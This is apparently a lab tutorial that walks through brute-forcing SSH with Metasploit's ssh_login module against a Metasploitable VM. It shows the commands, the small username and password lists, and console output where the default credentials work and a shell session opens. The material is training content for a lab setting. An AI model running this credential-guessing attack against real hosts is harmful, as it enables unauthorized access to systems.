

# SSH Brute Force

Steps:-

1. Turn on kali and metasploitable , Then go to kali and use command “msfconsole”.
2. Now search for ssh scan using command “search ssh scan”

```
msf6 > search ssh scan

Matching Modules
=====
```

#	Rank	Name	Check	Description	Disclosure Date
0	normal	auxiliary/scanner/ssh/apache_karaf_command_execution	No	Apache Karaf Default Credentials Command Execution	2016-02-09
1	normal	auxiliary/scanner/ssh/karaf_login	No	Apache Karaf Login Utility	.
2	normal	auxiliary/scanner/ssh/cerberus_sftp_enumusers	No	Cerberus FTP Server SFTP Username Enumeration	2014-05-27
3	normal	auxiliary/scanner/http/cisco_firepower_login	No	Cisco Firepower Management Console 6.0 Login	.
4	normal	auxiliary/scanner/ssh/eaton_xpert_backdoor	No	Eaton Xpert Meter SSH Private Key Exposure Scanner	2018-07-18
5	normal	auxiliary/scanner/ssh/fortinet_backdoor	No	Fortinet SSH Backdoor Scanner	2016-01-09
6	normal	auxiliary/scanner/http/gitlab_user_enum	No	GitLab User Enumeration	2014-11-21
7	normal	auxiliary/scanner/ssh/juniper_backdoor	No	Juniper SSH Backdoor Scanner	2015-12-20
8	normal	auxiliary/scanner/ssh/detect_kippo	No	Kippo SSH Honeypot Detector	.
9	normal	auxiliary/scanner/ssh/ssh_login	No	SSH Login Check Scanner	.
10	normal	auxiliary/scanner/ssh/ssh_identify_pubkeys	No	SSH Public Key Acceptance Scanner	.
11	normal	auxiliary/scanner/ssh/ssh_login_pubkey	No	SSH Public Key Login Scanner	.
12	normal	auxiliary/scanner/ssh/ssh_enumusers	No	SSH Username Enumeration	.
13	.	\_ action: Malformed Packet	.	Use a malformed packet	.
14	.	\_ action: Timing Attack	.	Use a timing attack	.
15	normal	auxiliary/scanner/ssh/ssh_version	No	SSH Version Scanner	.
16	normal	auxiliary/scanner/ssh/ssh_enum_git_keys	No	Test SSH Github Access	.
17	normal	auxiliary/scanner/ssh/libssh_auth_bypass	No	libssh Authentication Bypass Scanner	2018-10-16
18	.	\_ action: Execute	.	Execute a command	.
19	.	\_ action: Shell	.	Spawn a shell	.

3. Now “use 9” – scanner/ssh/ssh\_login module and go for options

```
msf6 > use 9
msf6 auxiliary(scanner/ssh/ssh_login) > options

Module options (auxiliary/scanner/ssh/ssh_login):

  Name          Current Setting  Required  Description
  ---          -
  ANONYMOUS_LOGIN  false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS  false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED 5             yes       How fast to bruteforce, from 0 to 5
  CreateSession    true            no        Create a new session for every successful login
  DB_ALL_CREDS     false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS      false           no        Add all passwords in the current database to the list
  DB_ALL_USERS     false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING none            no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
  PASSWORD         no              no        A specific password to authenticate with
  PASS_FILE        no              no        File containing passwords, one per line
  RHOSTS           no              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT            22             yes       The target port
  STOP_ON_SUCCESS  false           yes       Stop guessing when a credential works for a host
  THREADS          1              yes       The number of concurrent threads (max one per host)
  USERNAME         no              no        A specific username to authenticate as
  USERPASS_FILE    no              no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS     false           no        Try the username as the password for all users
  USER_FILE        no              no        File containing usernames, one per line
  VERBOSE          false           yes       Whether to print output for all attempts
```

4. Now set the environment as give in below SS and then run

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.100.247
rhosts => 192.168.100.247
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE p.text
PASS_FILE => p.text
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE u.text
USER_FILE => u.text
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 192.168.100.247:22 - Starting bruteforce
[+] 192.168.100.247:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(fl
oppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.
6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.100.119:35849 -> 192.168.100.247:22) at 2024-09-27 05:13:07 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
```

5. Now type “sessions” to conform the shell and vola we go the shell

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions

  Id  Name  Type          Information          Connection
  --  ---  --
  1    shell linux SSH root @ 192.168.100.119:35849 -> 192.168.100.247:22 (192.168.100.247)
```

So the file used In the environment is created using “cat ” function

<pre>(root@kali)-[~] # cat &gt;u.text ADMIN ADSUSER ADS_AGENT CONTENTSERV msfadmin</pre>	<pre>(root@kali)-[~] # cat &gt;p.text msfadmin ADMIN ADSUSER ADS_AGENT CONTENTSERV</pre>
--	--

(Usernames)

(passwords)

We can also use the ip files in similarly manner, just create file and use at ip place